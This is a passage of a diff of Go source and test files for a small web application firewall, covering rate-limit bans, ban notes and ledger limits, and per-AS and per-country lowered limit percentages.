||||
|
||||
line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
|
||||
line.BanExpires != expires {
|
||||
t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
|
||||
"want minute, limit and %s", line.LimitHit, line.Offence, line.BanExpires,
|
||||
expires)
|
||||
}
|
||||
|
||||
// Every request while the ban lasts is refused.
|
||||
clk.advance(time.Hour - time.Second)
|
||||
|
||||
line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
if line.BanExpires != expires || line.Offence != "" || line.LimitHit != "" {
|
||||
t.Errorf("log line has ban_expires %q, offence %q and limit_hit %q, "+
|
||||
"want %s and neither of the others", line.BanExpires, line.Offence,
|
||||
line.LimitHit, expires)
|
||||
}
|
||||
|
||||
// Once it ends, the client is let through.
|
||||
clk.advance(time.Second)
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
func TestBanLengthsFollowTheSettings(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, _ := startWithClock(t, "", map[string]string{
|
||||
rateLimitPerMinute: "1",
|
||||
limitBanDuration: "10m",
|
||||
limitBanRepeatWindow: "1h",
|
||||
maxBanDuration: "1h",
|
||||
})
|
||||
|
||||
// breakLimit has client go over the limit of one a minute, and
|
||||
// returns when the ban that makes ends.
|
||||
breakLimit := func() string {
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
return line.BanExpires
|
||||
}
|
||||
wantExpires := func(got string, length time.Duration) {
|
||||
t.Helper()
|
||||
|
||||
want := requestlog.FormatTime(clk.Now().Add(length))
|
||||
if got != want {
|
||||
t.Errorf("ban ends at %s, want %s", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
// A first ban lasts SWW_LIMIT_BAN_DURATION; one within
|
||||
// SWW_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
|
||||
wantExpires(breakLimit(), 10*time.Minute)
|
||||
clk.advance(10*time.Minute + time.Hour)
|
||||
wantExpires(breakLimit(), 30*time.Minute)
|
||||
|
||||
// Later than that, SWW_LIMIT_BAN_DURATION again.
|
||||
clk.advance(30*time.Minute + time.Hour + time.Second)
|
||||
wantExpires(breakLimit(), 10*time.Minute)
|
||||
clk.advance(10 * time.Minute)
|
||||
wantExpires(breakLimit(), 30*time.Minute)
|
||||
|
||||
// 90 minutes would be longer than SWW_MAX_BAN_DURATION: the ban is
|
||||
// permanent.
|
||||
clk.advance(30 * time.Minute)
|
||||
|
||||
got := breakLimit()
|
||||
if got != permanent {
|
||||
t.Errorf("ban ends at %s, want a permanent one", got)
|
||||
}
|
||||
|
||||
clk.advance(365 * 24 * time.Hour)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
|
||||
}
|
||||
|
||||
func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server := startWithClock(t, "", map[string]string{rateLimitPerDay: "2"})
|
||||
|
||||
// The third request in a day is over the limit of two, and bans the
|
||||
// client for an hour.
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
for range 3 {
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
}
|
||||
|
||||
// Later the same day the client has its whole allowance again: the
|
||||
// ban set its counters back to zero, and the requests it refused were
|
||||
// not counted for the rate limits, only in its notes.
|
||||
clk.advance(time.Hour)
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
|
||||
if len(banned) != 2 || banned[0].Notes.Refused != 3 {
|
||||
t.Errorf("bans %+v, want two, the first with 3 requests refused", banned)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBanCoversTheClientsNetblock(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// In the IPv4 cases, client breaks the limit; these two are next to it.
|
||||
const (
|
||||
allowed = "203.0.113.60" // in SWW_ALLOW_NETS
|
||||
exempt = "203.0.113.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
||||
)
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
env map[string]string
|
||||
breaker string // the client that breaks the limit
|
||||
refused []string
|
||||
let []string // let through
|
||||
}{
|
||||
{
|
||||
"an IPv4 address, by default", nil, client,
|
||||
nil, []string{otherClient, exempt},
|
||||
},
|
||||
{
|
||||
"the IPv4 netblock SWW_BAN_SCOPE_V4_PREFIX sets",
|
||||
map[string]string{banScopeV4Prefix: "24"}, client,
|
||||
[]string{otherClient, exempt}, []string{"203.0.112.9", allowed},
|
||||
},
|
||||
{
|
||||
"an IPv6 /64, by default", nil, "2001:db8:5::1",
|
||||
[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
|
||||
},
|
||||
{
|
||||
"the IPv6 netblock SWW_IPV6_GROUP_PREFIX sets",
|
||||
map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1",
|
||||
[]string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"},
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
env := map[string]string{
|
||||
rateLimitPerMinute: "1",
|
||||
allowNets: allowed,
|
||||
rateLimitExemptNets: exempt,
|
||||
}
|
||||
maps.Copy(env, tc.env)
|
||||
s, _, _ := startWithClock(t, "", env)
|
||||
|
||||
s.get(tc.breaker, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(tc.breaker, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
for _, sent := range tc.refused {
|
||||
s.get(sent, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
}
|
||||
|
||||
for _, sent := range tc.let {
|
||||
s.get(sent, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, asked := startGeoJS(t)
|
||||
s, _, _ := startWithClock(t, geojsURL, map[string]string{
|
||||
lookupTimeout: "1h",
|
||||
rateLimitPerMinute: "1",
|
||||
banScopeV4Prefix: "24",
|
||||
tagDeny: denyKP,
|
||||
})
|
||||
|
||||
// fromDE's ban covers otherClient, which is refused unasked about.
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
if line.Country != "" {
|
||||
t.Errorf("log line has country %q, want none", line.Country)
|
||||
}
|
||||
|
||||
if !slices.Equal(asked(), []string{fromDE}) {
|
||||
t.Errorf("GeoJS was asked about %v, want %s alone", asked(), fromDE)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRefusalUnderABanNamesItsHeuristicNetblockAndEnd(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, _ := startWithClock(t, "", map[string]string{
|
||||
rateLimitPerMinute: "1", banScopeV4Prefix: "24",
|
||||
})
|
||||
expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
|
||||
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
wantHeuristic(t, line, "active_ban",
|
||||
`{"netblock": "`+clientsNet+`", "ban_expires": "`+expires+`"}`)
|
||||
}
|
||||
|
||||
func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const denied = "192.0.2.50" // in SWW_DENY_NETS
|
||||
|
||||
for _, tc := range []struct {
|
||||
setting string // "" leaves SWW_BAN_RESPONSE at its default
|
||||
status int // 0 is the connection closed without an answer
|
||||
}{
|
||||
{"", http.StatusForbidden},
|
||||
{"403", http.StatusForbidden},
|
||||
{"429", http.StatusTooManyRequests},
|
||||
{banResponseClose, 0},
|
||||
} {
|
||||
t.Run(banResponse+"="+tc.setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
env := map[string]string{
|
||||
lookupTimeout: "1h",
|
||||
rateLimitPerMinute: "1",
|
||||
denyNets: denied,
|
||||
tagDeny: denyKP,
|
||||
}
|
||||
|
||||
if tc.setting != "" {
|
||||
env[banResponse] = tc.setting
|
||||
}
|
||||
|
||||
s, _, _ := startWithClock(t, geojsURL, env)
|
||||
|
||||
s.get(denied, tc.status, requestlog.ActionClientDenied)
|
||||
s.get(fromKP, tc.status, requestlog.ActionClientDenied)
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(fromDE, tc.status, requestlog.ActionClientIsRateLimited)
|
||||
s.get(fromDE, tc.status, requestlog.ActionTemporarilyBanned)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBanNotes(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
||||
lookupTimeout: "1h",
|
||||
rateLimitPerMinute: "1",
|
||||
tagDeny: denyKP,
|
||||
})
|
||||
start := clk.Now()
|
||||
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
s.request(fromDE, "/repo/commits?page=2",
|
||||
http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
|
||||
netblock := netip.MustParsePrefix(fromDE + "/32")
|
||||
want := bans.Ban{
|
||||
Netblock: netblock,
|
||||
Start: start,
|
||||
Expires: start.Add(time.Hour),
|
||||
Cause: bans.CauseLimit,
|
||||
Reason: "requests per minute over the limit of 1",
|
||||
Notes: bans.Notes{
|
||||
ASN: asnDE,
|
||||
ASName: asNameDE,
|
||||
Country: "DE",
|
||||
Kind: "requests",
|
||||
Limit: 1,
|
||||
Window: minute,
|
||||
Count: 2,
|
||||
Request: bans.Request{
|
||||
Time: start,
|
||||
Method: http.MethodGet,
|
||||
Host: appHost,
|
||||
Path: "/repo/commits?page=2",
|
||||
Status: http.StatusForbidden,
|
||||
UserAgent: userAgent,
|
||||
},
|
||||
// The one let through, the one that broke the limit and the two
|
||||
// refused under the ban.
|
||||
Requests: 4,
|
||||
Refused: 2,
|
||||
EarlierBans: bans.EarlierBans{},
|
||||
},
|
||||
}
|
||||
|
||||
ledger := server.Ledger
|
||||
|
||||
got := ledger.Bans(netblock)
|
||||
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
|
||||
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
|
||||
}
|
||||
|
||||
// The next ban counts this one among the earlier.
|
||||
clk.advance(time.Hour)
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
got = ledger.Bans(netblock)
|
||||
if len(got) != 2 || got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||
t.Errorf("bans %+v, want two, the second with one earlier ban for a limit", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMaxBansDropsTheBanOfTheNetblockSeenLongestAgo(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
rateLimitPerMinute: "1",
|
||||
maxBans: "1",
|
||||
})
|
||||
|
||||
// One ban is held, so otherClient's ban drops client's.
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
}
|
||||
|
||||
// clock is the time a test sets, by which sww counts requests and
|
||||
// makes bans.
|
||||
type clock struct {
|
||||
mu sync.Mutex
|
||||
now time.Time
|
||||
}
|
||||
|
||||
// Now tells the time.
|
||||
func (c *clock) Now() time.Time {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
|
||||
return c.now
|
||||
}
|
||||
|
||||
// advance moves the clock on by d.
|
||||
func (c *clock) advance(d time.Duration) {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
|
||||
c.now = c.now.Add(d)
|
||||
}
|
||||
|
||||
// startWithClock starts discriminator, and rproxy in front of an app that answers 200,
|
||||
// with the settings in env on top of trusting localhost's
|
||||
// X-Forwarded-For, clients' AS numbers and countries looked up at
|
||||
// geojsURL, and a clock set to midnight, the start of a bucket in every
|
||||
// window.
|
||||
func startWithClock(
|
||||
t *testing.T, geojsURL string, env map[string]string,
|
||||
) (*sender, *clock, *discriminator.Server) {
|
||||
t.Helper()
|
||||
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
|
||||
settings := map[string]string{trustedProxies: trustLocalhost}
|
||||
maps.Copy(settings, env)
|
||||
|
||||
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings)
|
||||
|
||||
return &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}, clk, server
|
||||
}
|
||||
|
||||
// sender sends requests to rproxy one after another, each on a connection of its
|
||||
// own, and checks each one's answer and log line. discriminatorAddr is where
|
||||
// discriminator's own endpoints are, which ownEndpointRequest asks. Every request
|
||||
// discriminator gets must come through the sender, since the log lines are
|
||||
// matched to them in order.
|
||||
type sender struct {
|
||||
t *testing.T
|
||||
addr string
|
||||
discriminatorAddr string
|
||||
out *output
|
||||
sent int
|
||||
}
|
||||
|
||||
// get sends a GET request for / from the client at from.
|
||||
func (s *sender) get(from string, status int, action string) logLine {
|
||||
s.t.Helper()
|
||||
|
||||
return s.request(from, "/", status, action)
|
||||
}
|
||||
|
||||
// request sends a GET request for path from the client at from, as
|
||||
// X-Forwarded-For names it, and checks that its answer and its log line
|
||||
// have status, 0 for the connection closed without an answer, and that
|
||||
// the line has action. It returns the log line.
|
||||
func (s *sender) request(from, path string, status int, action string) logLine {
|
||||
s.t.Helper()
|
||||
|
||||
return s.requestWithHeader(from, path, "", status, action)
|
||||
}
|
||||
|
||||
// requestWithHeader is request with header, such as "Authorization:
|
||||
// Bearer x", added to the request unless it is "".
|
||||
func (s *sender) requestWithHeader(
|
||||
from, path, header string, status int, action string,
|
||||
) logLine {
|
||||
s.t.Helper()
|
||||
|
||||
line, _ := s.requestWithBody(http.MethodGet, from, path, header, "", status, action)
|
||||
|
||||
return line
|
||||
}
|
||||
|
||||
// requestWithBody is requestWithHeader for a request with method, whose
|
||||
// body is sent as it is after the headers, header holding its
|
||||
// Content-Length or Transfer-Encoding. header may hold several lines,
|
||||
// separated by "\r\n". It returns the whole answer.
|
||||
func (s *sender) requestWithBody(
|
||||
method, from, path, header, body string, status int, action string,
|
||||
) (logLine, answer) {
|
||||
s.t.Helper()
|
||||
|
||||
if header != "" {
|
||||
header += "\r\n"
|
||||
}
|
||||
|
||||
// rproxy refuses a request with more than one.
|
||||
if !strings.Contains(header, "User-Agent:") {
|
||||
header += "User-Agent: " + userAgent + "\r\n"
|
||||
}
|
||||
|
||||
conn := dial(s.t, s.addr)
|
||||
send(s.t, conn, method+" "+path+" HTTP/1.1\r\nHost: "+appHost+"\r\n"+
|
||||
forwardedFor+": "+from+"\r\n"+header+"\r\n"+body)
|
||||
|
||||
err := conn.SetReadDeadline(time.Now().Add(waitLimit))
|
||||
if err != nil {
|
||||
s.t.Fatalf("set read deadline: %v", err)
|
||||
}
|
||||
|
||||
var got answer
|
||||
|
||||
res, err := http.ReadResponse(bufio.NewReader(conn), nil)
|
||||
|
||||
switch {
|
||||
case err == nil:
|
||||
got = readAnswer(res)
|
||||
case !errors.Is(err, io.ErrUnexpectedEOF):
|
||||
s.t.Fatalf("read response: %v", err)
|
||||
}
|
||||
|
||||
_ = conn.Close()
|
||||
|
||||
if got.status != status {
|
||||
s.t.Errorf("request %d, from %s: status %d, want %d", s.sent+1, from,
|
||||
got.status, status)
|
||||
}
|
||||
|
||||
line := s.out.endedLines(s.t, s.sent+1)[s.sent]
|
||||
s.sent++
|
||||
wantLine(s.t, line, status, action)
|
||||
|
||||
return line, got
|
||||
}
|
||||
@@ -1,129 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
)
|
||||
|
||||
// whole is the percentage of each limit a client gets when no biased
|
||||
// threshold lowers its limits.
|
||||
const whole = 100
|
||||
|
||||
// percentage is a client's limit percentage for the rate limits or for
|
||||
// the byte limits, as the biased thresholds give it, and the setting that
|
||||
// gave it: "" with whole when none lowers that kind of limit.
|
||||
type percentage struct {
|
||||
percent int64
|
||||
setting string
|
||||
}
|
||||
|
||||
// biasedThresholdsSet reports whether a biased threshold can lower a
|
||||
// client's limits by its lookup: SWW_ASN_BYTES_PERCENT or
|
||||
// SWW_COUNTRY_BYTES_PERCENT is not empty, SWW_UNKNOWN_LIMIT_PERCENT is
|
||||
// below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
|
||||
// then needed before its request goes on.
|
||||
func biasedThresholdsSet(cfg *config.Config) bool {
|
||||
return len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
|
||||
cfg.UnknownLimitPercent < whole || cfg.ASNLimitPercentURL != ""
|
||||
}
|
||||
|
||||
// limitPercentages returns the client's limit percentages, for the rate
|
||||
// limits and for the byte limits, by its tags, its AS number and country
|
||||
// as looked up, each "" when unknown, and the blocklists, DNSBL zones and
|
||||
// AbuseIPDB that list it. Each is the lowest of those the settings give
|
||||
// it, the first of them in the order below when several are lowest: the
|
||||
// percentage SWW_TAG_LIMIT_PERCENT gives its asn= tag, the one the file
|
||||
// SWW_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
|
||||
// SWW_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
|
||||
// other tags, for a client without a country, unless its request skipped
|
||||
// the wait for GeoJS, SWW_UNKNOWN_LIMIT_PERCENT, for a client a blocklist
|
||||
// lists, the percentage of SWW_BLOCKLIST_ACTION while it is limit, and
|
||||
// for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is
|
||||
// a hit, the percentage of SWW_REPUTATION_ACTION while it is limit. For
|
||||
// the byte limits, SWW_ASN_BYTES_PERCENT and SWW_COUNTRY_BYTES_PERCENT
|
||||
// take the place of the first three for an AS number or a country they
|
||||
// list.
|
||||
func (rq *request) limitPercentages() (percentage, percentage) {
|
||||
cfg := rq.h.config
|
||||
asn, country := rq.line.ASN, rq.line.Country
|
||||
|
||||
unknown := percentage{percent: whole}
|
||||
if country == "" && !rq.skippedLookupWait {
|
||||
unknown = percentage{cfg.UnknownLimitPercent, "SWW_UNKNOWN_LIMIT_PERCENT"}
|
||||
}
|
||||
|
||||
fetched := percentage{percent: whole}
|
||||
if percent, listed := rq.h.lists.ASNLimitPercent(asn); listed {
|
||||
fetched = percentage{percent, "SWW_ASN_LIMIT_PERCENT_URL"}
|
||||
}
|
||||
|
||||
blocklisted := percentage{percent: whole}
|
||||
if rq.blocklisted && cfg.BlocklistAction == "limit" {
|
||||
blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_BLOCKLIST_ACTION"}
|
||||
}
|
||||
|
||||
reputationListed := percentage{percent: whole}
|
||||
if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
|
||||
reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_REPUTATION_ACTION"}
|
||||
}
|
||||
|
||||
const tagSetting = "SWW_TAG_LIMIT_PERCENT"
|
||||
|
||||
asnRequests := lowest(given(cfg.TagLimitPercent, asnTag(asn), tagSetting), fetched)
|
||||
countryRequests := given(cfg.TagLimitPercent, countryTag(country), tagSetting)
|
||||
|
||||
otherTags := percentage{percent: whole}
|
||||
|
||||
for _, tag := range rq.line.Tags {
|
||||
if tag != asnTag(asn) && tag != countryTag(country) {
|
||||
otherTags = lowest(otherTags, given(cfg.TagLimitPercent, tag, tagSetting))
|
||||
}
|
||||
}
|
||||
|
||||
asnBytes, countryBytes := asnRequests, countryRequests
|
||||
if _, listed := cfg.ASNBytesPercent[asn]; listed {
|
||||
asnBytes = given(cfg.ASNBytesPercent, asn, "SWW_ASN_BYTES_PERCENT")
|
||||
}
|
||||
|
||||
if _, listed := cfg.CountryBytesPercent[country]; listed {
|
||||
countryBytes = given(cfg.CountryBytesPercent, country, "SWW_COUNTRY_BYTES_PERCENT")
|
||||
}
|
||||
|
||||
return lowest(asnRequests, countryRequests, otherTags, unknown, blocklisted,
|
||||
reputationListed),
|
||||
lowest(asnBytes, countryBytes, otherTags, unknown, blocklisted, reputationListed)
|
||||
}
|
||||
|
||||
// given returns the percentage percents, the setting named setting, gives
|
||||
// code, an AS number, a country or a tag, or whole when it does not list code.
|
||||
func given(percents map[string]int64, code, setting string) percentage {
|
||||
percent, listed := percents[code]
|
||||
if !listed {
|
||||
return percentage{percent: whole}
|
||||
}
|
||||
|
||||
return percentage{percent, setting}
|
||||
}
|
||||
|
||||
// lowest returns the lowest of percentages below whole, the first of them
|
||||
// when several are lowest, or whole when none is below it.
|
||||
func lowest(percentages ...percentage) percentage {
|
||||
low := percentage{percent: whole}
|
||||
|
||||
for _, p := range percentages {
|
||||
if p.percent < low.percent {
|
||||
low = p
|
||||
}
|
||||
}
|
||||
|
||||
return low
|
||||
}
|
||||
|
||||
// logged returns p as the log line and the notes of a ban give it: its
|
||||
// percent and setting, or nil and "" for whole, which they leave out.
|
||||
func (p percentage) logged() (*int64, string) {
|
||||
if p.percent == whole {
|
||||
return nil, ""
|
||||
}
|
||||
|
||||
return &p.percent, p.setting
|
||||
}
|
||||
@@ -1,519 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"maps"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/netip"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"testing/synctest"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// The biased thresholds.
|
||||
const (
|
||||
tagLimitPercent = "SWW_TAG_LIMIT_PERCENT"
|
||||
asnBytesPercent = "SWW_ASN_BYTES_PERCENT"
|
||||
countryBytesPercent = "SWW_COUNTRY_BYTES_PERCENT"
|
||||
unknownLimitPercent = "SWW_UNKNOWN_LIMIT_PERCENT"
|
||||
)
|
||||
|
||||
const (
|
||||
// asnDEHalf and countryDEHalf give fromDE's AS number and its country
|
||||
// half of every limit, and asnDEQuarter gives its AS number a quarter.
|
||||
asnDEHalf = asnDE + ":50"
|
||||
asnDEQuarter = asnDE + ":25"
|
||||
countryDEHalf = "de:50"
|
||||
// The same, as SWW_TAG_LIMIT_PERCENT names fromDE's tags.
|
||||
asnTagDEHalf = "asn=64496:50"
|
||||
asnTagDEQuarter = "asn=64496:25"
|
||||
countryTagDEHalf = "country=DE:50"
|
||||
countryTagDEQuarter = "country=DE:25"
|
||||
// noCountry is in an AS of its own, AS64500, and in no country.
|
||||
noCountry = "192.0.2.80"
|
||||
// fourAMinute is the rate limit these tests set: half of it is 2
|
||||
// requests a minute, a quarter of it 1.
|
||||
fourAMinute = "4"
|
||||
// twoUploads is the byte limit these tests set: 199 bytes, which an
|
||||
// upload, a request with a body and its answer, 100 bytes, is within,
|
||||
// and half of which, 99 bytes, it is over.
|
||||
twoUploads = "199"
|
||||
// none is how percentText gives a percentage left out.
|
||||
none = "none"
|
||||
)
|
||||
|
||||
func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
setting, value, from string
|
||||
}{
|
||||
{tagLimitPercent, asnTagDEHalf, fromDE},
|
||||
{tagLimitPercent, countryTagDEHalf, fromDE},
|
||||
{unknownLimitPercent, "50", unplaced},
|
||||
} {
|
||||
t.Run(tc.setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithLookups(t, map[string]string{
|
||||
rateLimitPerMinute: fourAMinute, tc.setting: tc.value,
|
||||
})
|
||||
|
||||
// Half of 4 requests a minute: the third breaks the limit.
|
||||
for _, sent := range []struct {
|
||||
status int
|
||||
action string
|
||||
}{
|
||||
{http.StatusOK, requestlog.ActionForward},
|
||||
{http.StatusOK, requestlog.ActionForward},
|
||||
{http.StatusForbidden, requestlog.ActionClientIsRateLimited},
|
||||
} {
|
||||
line := s.get(tc.from, sent.status, sent.action)
|
||||
wantPercent(t, "rate_limit_percent",
|
||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||
"50 from "+tc.setting)
|
||||
}
|
||||
|
||||
// fromKP, which no setting lists, has the whole limit.
|
||||
for range 3 {
|
||||
line := s.get(fromKP, http.StatusOK, requestlog.ActionForward)
|
||||
wantPercent(t, "rate_limit_percent",
|
||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||
none)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// The AS numbers and countries are given in either case.
|
||||
for _, tc := range []struct {
|
||||
setting, value, from string
|
||||
}{
|
||||
{tagLimitPercent, asnTagDEHalf, fromDE},
|
||||
{tagLimitPercent, "Country=de:50", fromDE},
|
||||
{unknownLimitPercent, "50", unplaced},
|
||||
{asnBytesPercent, "as64496:50", fromDE},
|
||||
{countryBytesPercent, countryDEHalf, fromDE},
|
||||
} {
|
||||
t.Run(tc.setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithLookups(t, map[string]string{
|
||||
bytesLimitPerMinute: twoUploads, tc.setting: tc.value,
|
||||
})
|
||||
|
||||
// The upload's 100 bytes are over half of 199, 99.
|
||||
line := s.uploadFrom(tc.from)
|
||||
if line.LimitHit != minuteBytes {
|
||||
t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
|
||||
}
|
||||
|
||||
wantPercent(t, "bytes_limit_percent",
|
||||
line.BytesLimitPercent, line.BytesLimitPercentSetting,
|
||||
"50 from "+tc.setting)
|
||||
|
||||
// fromKP, which no setting lists, has the whole limit.
|
||||
line = s.uploadFrom(fromKP)
|
||||
if line.LimitHit != "" {
|
||||
t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
|
||||
}
|
||||
|
||||
wantPercent(t, "bytes_limit_percent",
|
||||
line.BytesLimitPercent, line.BytesLimitPercentSetting, none)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
env map[string]string
|
||||
// rateLimitPercent and bytesLimitPercent are the log line's, as
|
||||
// percentText gives them, and limitHit is its limit_hit.
|
||||
rateLimitPercent, bytesLimitPercent, limitHit string
|
||||
}{
|
||||
{
|
||||
"lowering the byte limits alone",
|
||||
map[string]string{asnBytesPercent: asnDEHalf},
|
||||
none, "50 from " + asnBytesPercent, minuteBytes,
|
||||
},
|
||||
{
|
||||
"lowering the byte limits alone, by country",
|
||||
map[string]string{countryBytesPercent: countryDEHalf},
|
||||
none, "50 from " + countryBytesPercent, minuteBytes,
|
||||
},
|
||||
{
|
||||
"raising the byte limits back",
|
||||
map[string]string{tagLimitPercent: asnTagDEHalf, asnBytesPercent: asnDE + ":100"},
|
||||
"50 from " + tagLimitPercent, none, "",
|
||||
},
|
||||
{
|
||||
"raising the byte limits back, by country",
|
||||
map[string]string{tagLimitPercent: countryTagDEHalf, countryBytesPercent: "de:100"},
|
||||
"50 from " + tagLimitPercent, none, "",
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
env := map[string]string{bytesLimitPerMinute: twoUploads}
|
||||
maps.Copy(env, tc.env)
|
||||
s, _, _ := startWithLookups(t, env)
|
||||
|
||||
// The upload's 100 bytes are over 99, half of 199, and within 199.
|
||||
line := s.uploadFrom(fromDE)
|
||||
if line.LimitHit != tc.limitHit {
|
||||
